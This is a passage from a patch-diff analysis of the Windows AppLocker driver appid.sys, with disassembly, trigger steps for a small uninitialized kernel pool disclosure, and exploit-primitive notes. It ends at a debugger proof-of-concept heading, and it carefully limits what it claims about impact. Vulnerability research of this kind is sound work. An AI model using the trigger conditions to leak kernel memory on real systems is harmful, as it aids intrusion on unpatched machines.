&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C44&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C47&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C4A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0001C57&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C4C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C4F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0001C8D&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+1Fh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C55&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0001C5D&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C5D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+1Eh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0001C89&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+1Dh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0001C89&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C6B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C70&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0001C8D&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0001C8D&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C7B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C7E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C80&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;atomic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CAS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0001C8D&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C87&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0001C6E&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retry&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fast&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C8D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The only functional difference is the state pointer source: &lt;code&gt;cs:wil_details_featureDescriptors_a&lt;/code&gt; (a global) versus &lt;code&gt;[r8]&lt;/code&gt; (&lt;code&gt;*arg3&lt;/code&gt;, a caller-supplied per-descriptor pointer), plus the added &lt;code&gt;lock or&lt;/code&gt; fast path gated on the per-descriptor bytes at &lt;code&gt;+0x1d&lt;/code&gt;/&lt;code&gt;+0x1e&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding 2 (cont.): &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; — call sites&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- wil_details_IsEnabledFallback @ 0x1C0002850 ---- (UNPATCHED, excerpt)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002879&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wil_details_featureDescriptors_a&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002880&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;wil_details_featureDescriptors_a&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hard&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;coded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002887&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_ReevaluateCachedFeatureEnabledState&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- wil_details_IsEnabledFallback @ 0x1C0001BB0 ---- (PATCHED, excerpt)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001BCA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;save&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001BDD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001BE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_ReevaluateCachedFeatureEnabledState&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C02&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C05&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C12&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001C1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 (cont.): &lt;code&gt;Feature_4060024122__private_IsEnabledFallback&lt;/code&gt; — thunk&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;; ---- Feature_4060024122__private_IsEnabledFallback @ 0x1C0002E00 ---- (UNPATCHED)&lt;/span&gt;
00000001C0002E00  sub     rsp, 28h
00000001C0002E04  call    wil_details_IsEnabledFallback      ; 2 args (inherits global)
00000001C0002E09  add     rsp, 28h
00000001C0002E0D  retn

&lt;span class="c"&gt;; ---- Feature_4060024122__private_IsEnabledFallback @ 0x1C0002E74 ---- (PATCHED)&lt;/span&gt;
00000001C0002E74  sub     rsp, 28h
00000001C0002E78  lea     r8, Feature_4060024122__private_descriptor  ; 3rd arg = this feature&amp;#39;s descriptor
00000001C0002E7F  call    wil_details_IsEnabledFallback      ; 3 args
00000001C0002E84  add     rsp, 28h
00000001C0002E88  retn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Triggering Finding 1: Uninitialized Memory Disclosure&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Open a handle&lt;/strong&gt; to the AppID device interface (&lt;code&gt;\Device\AppID&lt;/code&gt; or &lt;code&gt;\??\AppID&lt;/code&gt;), or trigger evaluation indirectly via a file execution/creation operation on a system with AppLocker enforcement active.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cause a policy cache miss&lt;/strong&gt; so that a new rule/cache buffer is allocated. This can be done by referencing a file path that has not been recently evaluated, or by causing cache eviction (flushing).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reach &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt;&lt;/strong&gt; via the dispatch chain: &lt;code&gt;SmartlockerVerifyProcess&lt;/code&gt; @ &lt;code&gt;0x1C0020344&lt;/code&gt; → &lt;code&gt;SmartlockerManagedInstallerCheck&lt;/code&gt; @ &lt;code&gt;0x1C001F25C&lt;/code&gt; or &lt;code&gt;SmartlockerSmartscreenProcessTokenCheck&lt;/code&gt; @ &lt;code&gt;0x1C001F374&lt;/code&gt; → &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;arg5&lt;/code&gt; path determines the uninitialized region:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;arg5 == NULL&lt;/code&gt;: allocation is 0x40 bytes; bytes &lt;code&gt;0x3C–0x3F&lt;/code&gt; are never initialized (4 bytes).&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;arg5 != NULL&lt;/code&gt;: allocation is &lt;code&gt;*arg5 + 0x42&lt;/code&gt; bytes; roughly 6 trailing bytes past the copied data are uninitialized.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path to observable output&lt;/strong&gt;: the buffer is returned via &lt;code&gt;*arg7&lt;/code&gt; (pointer) and &lt;code&gt;*arg6&lt;/code&gt; (full size), then placed at full length into a process-token security attribute (&lt;code&gt;SeSetSecurityAttributesToken&lt;/code&gt;) and a file extended attribute (&lt;code&gt;AipSetEaFromOrigin&lt;/code&gt;), both of which are queryable from user mode via standard Windows APIs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected effect&lt;/strong&gt;: No crash. A few bytes of paged-pool residue are carried into those objects. Under a debugger, dumping the buffer at the return point shows the uninitialized tail.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Triggering Finding 2&lt;/h3&gt;
&lt;p&gt;Finding 2 is not a security defect (see section 2). For reference, concurrent WIL feature-enablement checks for &lt;code&gt;Feature_4060024122&lt;/code&gt; reach &lt;code&gt;Feature_4060024122__private_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002E00&lt;/code&gt; → &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002850&lt;/code&gt; → &lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; @ &lt;code&gt;0x1C00028DC&lt;/code&gt;. Both callers perform a &lt;code&gt;lock cmpxchg&lt;/code&gt; on the same global dword, but this is a correct lock-free CAS with a re-read-and-retry loop: the loser of a CAS re-reads the current value and retries, so no state is lost or torn. No inconsistent or corrupted state results, and no AppLocker allow/deny decision is involved.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Finding 1: Uninitialized paged pool disclosure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive&lt;/strong&gt;: Disclosure of a small amount of stale kernel paged pool memory — 4 bytes (when &lt;code&gt;arg5 == NULL&lt;/code&gt;) or roughly 6 trailing bytes (when &lt;code&gt;arg5 != NULL&lt;/code&gt;) per allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What is established from the binaries&lt;/strong&gt;: The uninitialized tail is copied at the full allocation length into (a) a process-token security attribute via &lt;code&gt;SmartlockerTagProcessToken&lt;/code&gt; → &lt;code&gt;SeSetSecurityAttributesToken&lt;/code&gt;, and (b) a file extended attribute via &lt;code&gt;AipSetEaFromOrigin&lt;/code&gt;. Both object types are queryable from user mode by design (&lt;code&gt;NtQueryInformationToken(TokenSecurityAttributes)&lt;/code&gt;, &lt;code&gt;NtQueryEaFile&lt;/code&gt;), but that user-mode read is performed by the operating system, not by &lt;code&gt;appid.sys&lt;/code&gt;; there is no IRP/IOCTL output-buffer copy of the buffer inside this driver.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bounds on impact&lt;/strong&gt;: The disclosed quantity is at most 4–6 bytes per allocation. The contents are whatever paged-pool residue previously occupied that block; the disassembly does not establish that these bytes contain any specific class of data (pointers, tokens, etc.). Claims of a KASLR bypass or a token/EPROCESS harvest are not supported by the binaries and are not made here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation relevance&lt;/strong&gt;: This is a read/disclosure of uninitialized memory (CWE-908), not a write or a code-execution vector; SMEP/SMAP/HVCI/CFG are not relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix status&lt;/strong&gt;: The patched &lt;code&gt;memset&lt;/code&gt; closes the gap only when the WIL feature &lt;code&gt;Feature_965997883&lt;/code&gt; is enabled; with the feature disabled the patched driver behaves exactly as the unpatched one. This is a staged rollout, not an unconditional fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: WIL feature-state cache refactor (no exploit primitive)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No primitive.&lt;/strong&gt; The unpatched atomic compare-and-swap is a correct lock-free operation (re-read and retry on failure); there is no genuine race to exploit. The state involved is WIL feature enablement/usage telemetry, never an AppLocker allow/deny decision. The global-to-per-descriptor change is a library refactor with no security impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;For Finding 1: Uninitialized Pool Allocation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
